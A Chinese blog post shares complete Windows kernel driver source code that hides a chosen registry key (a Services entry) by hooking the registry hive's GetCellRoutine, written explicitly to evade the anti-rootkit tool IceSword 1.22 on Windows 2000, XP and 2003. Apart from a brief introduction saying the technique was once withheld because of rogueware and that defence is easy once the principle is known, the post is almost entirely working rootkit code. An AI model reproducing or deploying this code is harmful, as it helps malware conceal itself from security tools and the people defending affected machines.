发一段隐藏注册表项的驱动代码,可以过目前最新的IceSword1.22

以前驱动开发网悬赏挑战IceSword时写的,不过最后没公开。那时流氓软件势头正劲,我可不想火上浇油。现在反流氓软件日渐成熟,也就没关系了。知道了原理,防御是非常容易的。

原理很简单,实现的代码也很短,啥都不用说,各位直接看示例代码吧。

</p>
<p>#include <ntddk.h></p>
<p>#define GET_PTR(ptr, offset) ( *(PVOID*)( (ULONG)ptr + (offset##Offset) ) )</p>
<p>#define CM_KEY_INDEX_ROOT      0x6972         // ir<br />
#define CM_KEY_INDEX_LEAF      0x696c         // il<br />
#define CM_KEY_FAST_LEAF       0x666c         // fl<br />
#define CM_KEY_HASH_LEAF       0x686c         // hl</p>
<p>// 一些CM的数据结构,只列出用到的开头部分<br />
#pragma pack(1)<br />
typedef struct _CM_KEY_NODE {<br />
       USHORT Signature;<br />
       USHORT Flags;<br />
       LARGE_INTEGER LastWriteTime;<br />
       ULONG Spare;               // used to be TitleIndex<br />
       HANDLE Parent;<br />
       ULONG SubKeyCounts[2];     // Stable and Volatile<br />
       HANDLE SubKeyLists[2];     // Stable and Volatile<br />
       // ...<br />
} CM_KEY_NODE, *PCM_KEY_NODE;</p>
<p>typedef struct _CM_KEY_INDEX {<br />
       USHORT Signature;<br />
       USHORT Count;<br />
       HANDLE List[1];<br />
} CM_KEY_INDEX, *PCM_KEY_INDEX;</p>
<p>typedef struct _CM_KEY_BODY {<br />
       ULONG Type;                // "ky02"<br />
       PVOID KeyControlBlock;<br />
       PVOID NotifyBlock;<br />
       PEPROCESS Process;         // the owner process<br />
       LIST_ENTRY KeyBodyList; // key_nodes using the same kcb<br />
} CM_KEY_BODY, *PCM_KEY_BODY;</p>
<p>typedef PVOID (__stdcall *PGET_CELL_ROUTINE)(PVOID, HANDLE);</p>
<p>typedef struct _HHIVE {<br />
       ULONG Signature;<br />
       PGET_CELL_ROUTINE GetCellRoutine;<br />
       // ...<br />
} HHIVE, *PHHIVE;<br />
#pragma pack()</p>
<p>// 需隐藏的主键名<br />
WCHAR g_HideKeyName[] = L"\\Registry\\Machine\\SYSTEM\\CurrentControlSet\\Services\\Beep";</p>
<p>PGET_CELL_ROUTINE g_pGetCellRoutine = NULL;<br />
PGET_CELL_ROUTINE* g_ppGetCellRoutine = NULL;</p>
<p>PCM_KEY_NODE g_HideNode = NULL;<br />
PCM_KEY_NODE g_LastNode = NULL;</p>
<p>// 打开指定名字的Key<br />
HANDLE OpenKeyByName(PCWSTR pwcsKeyName)<br />
{<br />
       NTSTATUS status;<br />
       UNICODE_STRING uKeyName;<br />
       OBJECT_ATTRIBUTES oa;<br />
       HANDLE hKey;</p>
<p>       RtlInitUnicodeString(&uKeyName, pwcsKeyName);<br />
       InitializeObjectAttributes(&oa, &uKeyName, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);<br />
       status = ZwOpenKey(&hKey, KEY_READ, &oa);<br />
       if (!NT_SUCCESS(status))<br />
       {<br />
           DbgPrint("ZwOpenKey Failed: %lx\n", status);<br />
           return NULL;<br />
       }</p>
<p>       return hKey;<br />
}</p>
<p>// 获取指定Key句柄的KeyControlBlock<br />
PVOID GetKeyControlBlock(HANDLE hKey)<br />
{<br />
       NTSTATUS status;<br />
       PCM_KEY_BODY KeyBody;<br />
       PVOID KCB;</p>
<p>       if (hKey == NULL) return NULL;</p>
<p>       // 由Key句柄获取对象体<br />
       status = ObReferenceObjectByHandle(hKey, KEY_READ, NULL, KernelMode, &KeyBody, NULL);<br />
       if (!NT_SUCCESS(status))<br />
       {<br />
           DbgPrint("ObReferenceObjectByHandle Failed: %lx\n", status);<br />
           return NULL;<br />
       }</p>
<p>       // 对象体中含有KeyControlBlock<br />
       KCB = KeyBody->KeyControlBlock;<br />
       DbgPrint("KeyControlBlock = %lx\n", KCB);</p>
<p>       ObDereferenceObject(KeyBody);</p>
<p>       return KCB;<br />
}</p>
<p>// 获取父键的最后一个子键的节点<br />
PVOID GetLastKeyNode(PVOID Hive, PCM_KEY_NODE Node)<br />
{<br />
       // 获取父键的节点<br />
       PCM_KEY_NODE ParentNode = (PCM_KEY_NODE)g_pGetCellRoutine(Hive, Node->Parent);<br />
       // 获取子键的索引<br />
       PCM_KEY_INDEX Index = (PCM_KEY_INDEX)g_pGetCellRoutine(Hive, ParentNode->SubKeyLists[0]);</p>
<p>       DbgPrint("ParentNode = %lx\nIndex = %lx\n", ParentNode, Index);</p>
<p>       // 如果为根(二级)索引,获取最后一个索引<br />
       if (Index->Signature == CM_KEY_INDEX_ROOT)<br />
       {<br />
           Index = (PCM_KEY_INDEX)g_pGetCellRoutine(Hive, Index->List[Index->Count-1]);<br />
           DbgPrint("Index = %lx\n", Index);<br />
       }</p>
<p>       if (Index->Signature == CM_KEY_FAST_LEAF || Index->Signature == CM_KEY_HASH_LEAF)<br />
       {<br />
           // 快速叶索引(2k)或散列叶索引(XP/2k3),返回最后的节点<br />
           return g_pGetCellRoutine(Hive, Index->List[2*(Index->Count-1)]);<br />
       }<br />
       else<br />
       {<br />
           // 一般叶索引,返回最后的节点<br />
           return g_pGetCellRoutine(Hive, Index->List[Index->Count-1]);<br />
       }<br />
}</p>
<p>// GetCell例程的钩子函数<br />
PVOID MyGetCellRoutine(PVOID Hive, HANDLE Cell)<br />
{<br />
       // 调用原函数<br />
       PVOID pRet = g_pGetCellRoutine(Hive, Cell);<br />
       if (pRet)<br />
       {<br />
           // 返回的是需要隐藏的节点<br />
           if (pRet == g_HideNode)<br />
           {<br />
               DbgPrint("GetCellRoutine(%lx, %08lx) = %lx\n", Hive, Cell, pRet);<br />
               // 查询、保存并返回其父键的最后一个子键的节点<br />
               pRet = g_LastNode = (PCM_KEY_NODE)GetLastKeyNode(Hive, g_HideNode);<br />
               DbgPrint("g_LastNode = %lx\n", g_LastNode);<br />
               // 隐藏的正是最后一个节点,返回空值<br />
               if (pRet == g_HideNode) pRet = NULL;<br />
           }<br />
           // 返回的是先前保存的最后一个节点<br />
           else if (pRet == g_LastNode)<br />
           {<br />
               DbgPrint("GetCellRoutine(%lx, %08lx) = %lx\n", Hive, Cell, pRet);<br />
               // 清空保存值,并返回空值<br />
               pRet = g_LastNode = NULL;<br />
           }<br />
       }<br />
       return pRet;<br />
}</p>
<p>NTSTATUS DriverUnload(PDRIVER_OBJECT pDrvObj)<br />
{<br />
       DbgPrint("DriverUnload()\n");<br />
       // 解除挂钩<br />
       if (g_ppGetCellRoutine) *g_ppGetCellRoutine = g_pGetCellRoutine;<br />
       return STATUS_SUCCESS;<br />
}</p>
<p>NTSTATUS DriverEntry(PDRIVER_OBJECT pDrvObj, PUNICODE_STRING pRegPath)<br />
{<br />
       ULONG BuildNumber;<br />
       ULONG KeyHiveOffset;       // KeyControlBlock->KeyHive<br />
       ULONG KeyCellOffset;       // KeyControlBlock->KeyCell<br />
       HANDLE hKey;<br />
       PVOID KCB, Hive;</p>
<p>       DbgPrint("DriverEntry()\n");</p>
<p>       pDrvObj->DriverUnload = DriverUnload;</p>
<p>       // 查询BuildNumber<br />
       if (PsGetVersion(NULL, NULL, &BuildNumber, NULL)) return STATUS_NOT_SUPPORTED;<br />
       DbgPrint("BuildNumber = %d\n", BuildNumber);</p>
<p>       // KeyControlBlock结构各版本略有不同<br />
       // Cell的值一般小于0x80000000,而Hive正相反,以此来判断也可以<br />
       switch (BuildNumber)<br />
       {<br />
           case 2195:     // Win2000<br />
               KeyHiveOffset = 0xc;<br />
               KeyCellOffset = 0x10;<br />
               break;<br />
           case 2600:     // WinXP<br />
           case 3790:     // Win2003<br />
               KeyHiveOffset = 0x10;<br />
               KeyCellOffset = 0x14;<br />
               break;<br />
           default:<br />
               return STATUS_NOT_SUPPORTED;<br />
       }</p>
<p>       // 打开需隐藏的键<br />
       hKey = OpenKeyByName(g_HideKeyName);<br />
       // 获取该键的KeyControlBlock<br />
       KCB = GetKeyControlBlock(hKey);<br />
       if (KCB)<br />
       {<br />
           // 由KCB得到Hive<br />
           PHHIVE Hive = (PHHIVE)GET_PTR(KCB, KeyHive);<br />
           // GetCellRoutine在KCB中,保存原地址<br />
           g_ppGetCellRoutine = &Hive->GetCellRoutine;<br />
           g_pGetCellRoutine = Hive->GetCellRoutine;<br />
           DbgPrint("GetCellRoutine = %lx\n", g_pGetCellRoutine);<br />
           // 获取需隐藏的节点并保存<br />
           g_HideNode = (PCM_KEY_NODE)g_pGetCellRoutine(Hive, GET_PTR(KCB, KeyCell));<br />
           // 挂钩GetCell例程<br />
           Hive->GetCellRoutine = MyGetCellRoutine;<br />
       }<br />
       ZwClose(hKey);</p>
<p>       return STATUS_SUCCESS;<br />
}</p>
<p>

关注微信公众号,手机阅读更方便: 程序员的阅微草堂

知识共享许可协议莿鸟栖草堂CFC4N 创作,采用 知识共享 署名-非商业性使用-相同方式共享(3.0未本地化版本)许可协议进行许可。基于http://www.cnxct.com上的作品创作。转载请注明转自:发一段隐藏注册表项的驱动代码,可以过目前最新的IceSword1.22

发表评论

电子邮件地址不会被公开。 必填项已用*标注

此站点使用Akismet来减少垃圾评论。了解我们如何处理您的评论数据